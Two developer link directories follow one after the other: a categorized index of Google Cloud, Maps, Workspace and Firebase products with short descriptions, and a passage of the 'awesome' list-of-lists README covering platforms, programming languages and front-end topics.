[^:link:](https://cloud.google.com/life-sciences)[^{:page_facing_up:}](https://cloud.google.com/life-sciences/docs) ### Retail * **Vision Product Search**: Visual search for products [^{:page_facing_up:}](https://cloud.google.com/vision/product-search/docs/) * **Recommendations AI**: Create custom recommendations [^:link:](https://cloud.google.com/recommendations/) [^{:page_facing_up:}](https://cloud.google.com/recommendations-ai/docs/) * **Visual Inspection AI**: Train/deploy models to detect defects [^:link:](https://cloud.google.com/solutions/visual-inspection-ai) ### Management Tools * **VM Manager**: Manage OS VM Fleets [^{:page_facing_up:}](https://cloud.google.com/compute/docs/vm-manager) * **Cloud APIs**: APIs for cloud services [^:link:](https://cloud.google.com/apis/) [^{:page_facing_up:}](https://cloud.google.com/apis/docs/) * **Cloud Billing API**: Programmatically manage Google Cloud billing [^{:page_facing_up:}](https://cloud.google.com/billing/docs/) * **Cloud Billing**: Billing and cost management tools [^:link:](https://cloud.google.com/billing/docs/) [^{:page_facing_up:}](https://cloud.google.com/billing/docs/docs/) * **Cloud Console**: Web-based management console [^:link:](https://cloud.google.com/cloud-console/) * **Cloud Deployment Manager**: Templated infrastructure deployment [^:link:](https://cloud.google.com/deployment-manager/) [^{:page_facing_up:}](https://cloud.google.com/deployment-manager/docs/) * **Cloud Mobile App**: iOS/Android Google Cloud manager app [^:link:](https://cloud.google.com/console-app/) * **Private Catalog**: Internal Solutions Catalog [^:link:](https://cloud.google.com/private-catalog/) [^{:page_facing_up:}](https://cloud.google.com/private-catalog/docs/) * **Carbon Footprint**: Report and reduce carbon emissions [^:link:](https://cloud.google.com/carbon-footprint) [^{:page_facing_up:}](https://cloud.google.com/carbon-footprint/docs) ### Developer Tools * **Cloud Code for IntelliJ**: IntelliJ Google Cloud tools [^:link:](https://cloud.google.com/intellij/) * **Cloud Code for VS Code**: VS Code Google Cloud tools [^:link:](https://cloud.google.com/code/docs/vscode/) * **Cloud Code**: Cloud native IDE extensions [^:link:](https://cloud.google.com/code/) [^{:page_facing_up:}](https://cloud.google.com/code/docs/) * **Cloud Tools for Eclipse**: Eclipse Google Cloud tools [^:link:](https://cloud.google.com/eclipse/docs/) * **Cloud Tools for Visual Studio**: Visual Studio Google Cloud tools [^:link:](https://cloud.google.com/visual-studio/) * **App Engine Plugins**: Gradle/Maven App Engine plugin [^:link:](https://github.com/GoogleCloudPlatform/app-gradle-plugin) * **Cloud SDK**: CLI for Google Cloud [^:link:](https://cloud.google.com/sdk/) [^{:page_facing_up:}](https://cloud.google.com/sdk/docs/) * **Cloud Shell**: Browser-based terminal/CLI [^:link:](https://cloud.google.com/shell/) [^{:page_facing_up:}](https://cloud.google.com/shell/docs/) ### Migration to Google Cloud * **BigQuery Data Transfer Service**: Bulk import analytics data [^:link:](https://cloud.google.com/bigquery/transfer/) [^{:page_facing_up:}](https://cloud.google.com/bigquery/transfer/docs/) * **Cloud Data Transfer**: Data migration tools/CLI [^:link:](https://cloud.google.com/products/data-transfer/) * **Google Transfer Appliance**: Rentable data transport box [^:link:](https://cloud.google.com/transfer-appliance/) [^{:page_facing_up:}](https://cloud.google.com/transfer-appliance/docs/) * **Storage Transfer Service**: Online/on-premises data transfer [^{:page_facing_up:}](https://cloud.google.com/storage-transfer-service/) * **Migrate for Anthos and GKE**: Migrate VMs to GKE [^:link:](https://cloud.google.com/migrate/anthos/) [^{:page_facing_up:}](https://cloud.google.com/migrate/anthos/docs/getting-started) * **Migrate for Compute Engine**: Compute Engine migration tools [^:link:](https://cloud.google.com/migrate/compute-engine/) [^{:page_facing_up:}](https://cloud.google.com/velostrata/docs/) * **Migrate from Amazon Redshift**: Migrate from Redshift to BigQuery [^:link:](https://cloud.google.com/bigquery/docs/redshift-migration) * **Migrate from Teradata**: Migrate from Teradata to BigQuery [^:link:](https://cloud.google.com/solutions/migration/td2bq/td-bq-migration-overview) * **Cloud Foundation Toolkit**: Infrastructure as Code templates [^:link:](https://cloud.google.com/foundation-toolkit) * **KF**: Cloud Foundry to Kubernetes [^:link:](https://cloud.google.com/migrate/kf/docs) ### Google Maps Platform * **Directions API**: Get directions between locations [^:link:](https://developers.google.com/maps/documentation/directions/) * **Distance Matrix API**: Multi-origin/destination travel times [^:link:](https://developers.google.com/maps/documentation/distance-matrix/intro) * **Geocoding API**: Convert address to/from coordinates [^:link:](https://developers.google.com/maps/documentation/geocoding/) * **Geolocation API**: Derive location without GPS [^:link:](https://developers.google.com/maps/documentation/geolocation/) * **Maps Embed API**: Display iframe embedded maps [^:link:](https://developers.google.com/maps/documentation/embed/) * **Maps JavaScript API**: Dynamic web maps [^:link:](https://developers.google.com/maps/documentation/javascript/) * **Maps SDK for Android**: Maps for Android apps [^:link:](https://developers.google.com/maps/documentation/android-sdk/) * **Maps SDK for iOS**: Maps for iOS apps [^:link:](https://developers.google.com/maps/documentation/ios-sdk/) * **Maps Static API**: Display static map images [^:link:](https://developers.google.com/maps/documentation/maps-static/) * **Maps SDK for Unity**: Unity SDK for games [^:link:](https://cloud.google.com/maps-platform/gaming/) * **Maps URLs**: URL scheme for maps [^:link:](https://developers.google.com/maps/documentation/urls/) * **Places API**: Rest-based Places features [^:link:](https://developers.google.com/places/web-service/) * **Places Library, Maps JS API**: Places features for web [^:link:](https://developers.google.com/maps/documentation/javascript/places) * **Places SDK for Android**: Places features for Android [^:link:](https://developers.google.com/places/android-sdk/) * **Places SDK for iOS**: Places feature for iOS [^:link:](https://developers.google.com/places/ios-sdk/) * **Roads API**: Convert coordinates to roads [^:link:](https://developers.google.com/maps/documentation/roads/) * **Street View Static API**: Static street view images [^:link:](https://developers.google.com/maps/documentation/streetview/) * **Street View Service**: Street view for JavaScript [^:link:](https://developers.google.com/maps/documentation/javascript/streetview/) * **Time Zone API**: Convert coordinates to timezone [^:link:](https://developers.google.com/maps/documentation/timezone/) ### Workspace Platform * **Admin SDK**: Manage Google Workspace resources [^:link:](https://developers.google.com/admin-sdk) * **AMP for Email**: Dynamic interactive email [^:link:](https://developers.google.com/gmail) * **Apps Script**: Extend and automate everything [^:link:](https://developers.google.com/apps-script/) * **Calendar API**: Create and manage calendars [^:link:](https://developers.google.com/calendar/) * **Classroom API**: Provision and manage classrooms [^:link:](https://developers.google.com/classroom) * **Cloud Search**: Unified search for enterprise [^:link:](https://developers.google.com/cloud-search/docs/guides/) * **Docs API**: Create and edit documents [^:link:](https://developers.google.com/docs/api/) * **Drive Activity API**: Retrieve Google Drive activity [^:link:](https://developers.google.com/drive/activity/) * **Drive API**: Read and write files [^:link:](https://developers.google.com/drive/) * **Drive Picker**: Drive file selection widget [^:link:](https://developers.google.com/picker/) * **Email Markup**: Interactive email using schema.org [^:link:](https://developers.google.com/gmail/markup/) * **Google Workspace Add-ons**: Extend Google Workspace apps [^:link:](https://developers.google.com/gsuite/add-ons) * **Google Workspace Marketplace**: Storefront for integrated applications [^:link:](https://developers.google.com/gsuite/marketplace/) * **Gmail API**: Enhance Gmail [^:link:](https://developers.google.com/gmail/) * **Google Chats API**: Conversational bots in chat [^:link:](https://developers.google.com/chat) * **People API**: Manage user's Contacts [^:link:](https://developers.google.com/people/) * **Sheets API**: Read and write spreadsheets [^:link:](https://developers.google.com/sheets/api/) * **Slides API**: Create and edit presentations [^:link:](https://developers.google.com/slides/) * **Task API**: Search, read & update Tasks [^:link:](https://developers.google.com/tasks/) * **Vault API**: Manage your organization's eDiscovery [^:link:](https://developers.google.com/vault/) ### Mobile (Firebase) * **Cloud Firestore**: Document store and sync [^:link:](https://firebase.google.com/products/firestore/) * **Cloud Functions for Firebase**: Event-driven serverless applications [^:link:](https://firebase.google.com/products/functions/) * **Cloud Storage for Firebase**: Object storage and serving [^:link:](https://firebase.google.com/products/storage/) * **Crashlytics**: Crash reporting and analytics [^:link:](https://fabric.io/kits/android/crashlytics/summary) * **Firebase A/B Testing**: Create A/B test experiments [^:link:](https://firebase.google.com/products/ab-testing/) * **Firebase App Distribution**: Trusted tester early access [^:link:](https://firebase.google.com/products/app-distribution/) * **Firebase Authentication**: Drop-in authentication [^:link:](https://firebase.google.com/products/auth/) * **Firebase Cloud Messaging**: Send device notifications [^:link:](https://firebase.google.com/products/cloud-messaging/) * **Firebase Dynamic Links**: Link to app content [^:link:](https://firebase.google.com/products/dynamic-links/) * **Firebase Extensions**: Pre-packaged development solutions [^:link:](https://firebase.google.com/products/extensions) * **Firebase Hosting**: Web hosting with CDN/SSL [^:link:](https://firebase.google.com/products/hosting/) * **Firebase In-App Messaging**: Send in-app contextual messages [^:link:](https://firebase.google.com/products/in-app-messaging/) * **Firebase Performance Monitoring**: App/web performance monitoring [^:link:](https://firebase.google.com/products/performance/) * **Firebase Predictions**: Predict user targeting [^:link:](https://firebase.google.com/products/predictions/) * **Firebase Realtime Database**: Real-time data synchronization [^:link:](https://firebase.google.com/products/realtime-database/) * **Firebase Remote Config**: Remotely configure installed apps [^:link:](https://firebase.google.com/docs/remote-config/) * **Firebase Test Lab**: Mobile testing device farm [^:link:](https://firebase.google.com/docs/test-lab/) * **Google Analytics for Firebase**: Mobile app analytics [^:link:](https://firebase.google.com/products/analytics/) * **ML Kit for Firebase**: ML APIs for mobile [^:link:](https://firebase.google.com/products/ml-kit/) ### Additional Resources * **Google Cloud Home Page**: [^:link:](https://cloud.google.com) * **Google Cloud Blog**: [^:link:](https://cloud.google.com/blog) * **Google Cloud Platform Podcast**: [^:link:](https://Google Cloudpodcast.com/) * **Kubernetes Podcast from Google**: [^:link:](https://kubernetespodcast.com/) * **Google Cloud Reader**: [^:link:](https://podcasts.google.com/feed/aHR0cHM6Ly9mZWVkcy50cmFuc2lzdG9yLmZtL2dvb2dsZS1jbG91ZC1yZWFkZXI=) * **Google Cloud Open Source**: [^:link:](https://opensource.google/projects/list/cloud) * **Google Cloud Medium Publication**: [^:link:](https://medium.com/google-cloud) * **Apigee Blog**: [^:link:](https://apigee.com/about/blog) * **Firebase Blog**: [^:link:](https://firebase.googleblog.com) * **Google Workspace Developers Blog**: [^:link:](https://gsuite-developers.googleblog.com) * **Google Workspace GitHub**: [^:link:](https://github.com/gsuitedevs) * **Google Workspace Twitter**: [^:link:](https://twitter.com/gsuitedevs) * **Google Cloud Certifications**: [^:link:](https://cloud.google.com/certification) * **Google Cloud System Status**: [^:link:](https://status.cloud.google.com) * **Google Cloud Training**: [^:link:](https://cloud.google.com/training) * **Google Developers Blog**: [^:link:](https://developers.googleblog.com) * **Google Maps Platform Blog**: [^:link:](https://mapsplatform.googleblog.com) * **Google Open Source Blog**: [^:link:](https://opensource.googleblog.com) * **Google Security Blog**: [^:link:](https://security.googleblog.com) * **Kaggle Home Page**: [^:link:](https://www.kaggle.com) * **Kubernetes Blog**: [^:link:](https://kubernetes.io/blog) * **Regions and Network Map**: [^:link:](https://cloud.google.com/about/locations) * **DORA - Software & Delivery Research**: [^:link:](https://cloud.google.com/devops) * **Cloud Security Podcast**: [^:link:](https://cloud.withgoogle.com/cloudsecurity/podcast/) * **Google Cloud Sketchnote**: [^:link:](https://goo.gle/Google Cloudsketchnote) ---------------------------- ### Everything below is not included in the PDFs/PNGs due to space limitations ---------------------------- ### Additional Resources * **Source for this document**: [^:link:](https://4words.dev) * **Google Cloud Solutions Library**: [^:link:](https://cloud.google.com/solutions/) * **Google Workspace Solutions Gallery**: [^:link:](https://developers.google.com/gsuite/solutions) * **Google Cloud Support Hub**: [^:link:](https://cloud.google.com/support-hub/) * **Google Cloud Pricing**: [^:link:](https://cloud.google.com/pricing/) * **Google Cloud Pricing Calculator**: [^:link:](https://cloud.google.com/products/calculator/) * **Qwiklabs Home Page**: [^:link:](https://www.qwiklabs.com/) * **Codelabs Home Page**: [^:link:](https://codelabs.developers.google.com/) * **YouTube Channels**: * **Google Cloud**: [^:link:](https://www.youtube.com/channel/UCTMRxtyHoE3LPcrl-kT4AQQ) * **Google Cloud Technical**: [^:link:](https://www.youtube.com/user/googlecloudplatform) * **Google Workspace**: [^:link:](https://www.youtube.com/user/GoogleApps) * **Google Developer's**: [^:link:](https://www.youtube.com/user/GoogleDevelopers) * **Firebase**: [^:link:](https://www.youtube.com/user/Firebase) * **Reddit**: * **/r/googlecloud**: [^:link:](https://www.reddit.com/r/googlecloud/) * **/r/AppEngine**: [^:link:](https://www.reddit.com/r/AppEngine/) * **/r/bigquery**: [^:link:](https://www.reddit.com/r/bigquery/) * **/r/dataflow**: [^:link:](https://www.reddit.com/r/dataflow/) * **/r/firebase**: [^:link:](https://www.reddit.com/r/firebase/) * **/r/GoogleAppsScript**: [^:link:](https://www.reddit.com/r/GoogleAppsScript/) * **Big Data / Data Analytics Product Comparisons**: [^:link:](https://cloud.google.com/products/big-data) * **Compute Product Comparisons**: [^:link:](https://cloud.google.com/products/databases) * **Database Product Comparisons**: [^:link:](https://cloud.google.com/products/compute) * **Networking Product Comparisons**: [^:link:](https://cloud.google.com/products/networking) * **Storage Product Comparisons**: [^:link:](https://cloud.google.com/products/storage) ### Google Cloud Foundational Open Source Projects * **Apache Beam**: Batch/streaming data processing [^:link:](https://beam.apache.org/) * **Go**: High Concurrency Programming Language [^:link:](https://golang.org/) * **gRPC**: RPC framework [^:link:](https://grpc.io/) * **gVisor**: Secure container runtime [^:link:](https://github.com/google/gvisor) * **Istio**: Connect and secure services [^:link:](https://istio.io/) * **Knative**: Serverless framework for Kubernetes [^:link:](https://github.com/knative) * **Kubeflow**: ML toolkit for Kubernetes [^:link:](https://www.kubeflow.org/) * **Kubernetes**: Management of containerized applications [^:link:](https://kubernetes.io/) * **OpenCensus**: Cloud native observability framework [^:link:](https://opencensus.io/) * **TensorFlow**: ML framework [^:link:](https://www.tensorflow.org/) ### Platform Comparisons * **Google Cloud Platform for AWS Professionals**: [^{:page_facing_up:}](https://cloud.google.com/docs/compare/aws/) * **Google Cloud Platform for Azure Professionals**: [^{:page_facing_up:}](https://cloud.google.com/docs/compare/azure/) * **Google Cloud Platform for Data Center Professionals**: [^{:page_facing_up:}](https://cloud.google.com/docs/compare/data-centers/) * **Google Cloud Platform for OpenStack Users**: [^{:page_facing_up:}](https://cloud.google.com/docs/compare/openstack/) ### Language Specific Documentation * **Apps Script**: [^{:page_facing_up:}](https://developers.google.com/apps-script) * **Java**: [^{:page_facing_up:}](https://cloud.google.com/java/docs/) * **Node.js**: [^{:page_facing_up:}](https://cloud.google.com/nodejs/docs/) * **Python**: [^{:page_facing_up:}](https://cloud.google.com/python/docs/) * **Go**: [^{:page_facing_up:}](https://cloud.google.com/go/docs/) * **Ruby**: [^{:page_facing_up:}](https://cloud.google.com/ruby/docs/) * **PHP**: [^{:page_facing_up:}](https://cloud.google.com/php/docs/) * **.NET/C#**: [^{:page_facing_up:}](https://cloud.google.com/dotnet/docs/)

<p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://sindresorhus.com/apps">apps</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Health and Social Science](#health-and-social-science) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/inputsh/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions. - macOS - Operating system for Apple's Mac computers. - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. - [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. - [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible. - [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole. - [Node-RED](https://github.com/naimo84/awesome-nodered#readme) - A programming tool for wiring together hardware devices, APIs, and online services. - [Low Code](https://github.com/zenitysec/awesome-low-code#readme) - Allowing business professionals to address their needs on their own with little to no coding skills. - [Capacitor](https://github.com/riderx/awesome-capacitor#readme) - Cross-platform open source runtime for building Web Native apps. - [ArcGIS Developer](https://github.com/Esri/awesome-arcgis-developer#readme) - Mapping and location analysis platform for developers. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/inputsh/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/dlang-community/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. - [Zig](https://github.com/catdevnull/awesome-zig#readme) - General-purpose programming language and toolchain for maintaining robust, optimal, and reusable software. - [Move](https://github.com/MystenLabs/awesome-move#readme) - Domain-specific programming language for writing safe smart contracts. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - JavaScript library for building user interfaces. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - Lets you use state and other React features without writing a class. - [Web Components](https://github.com/web-padawan/awesome-web-components#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web 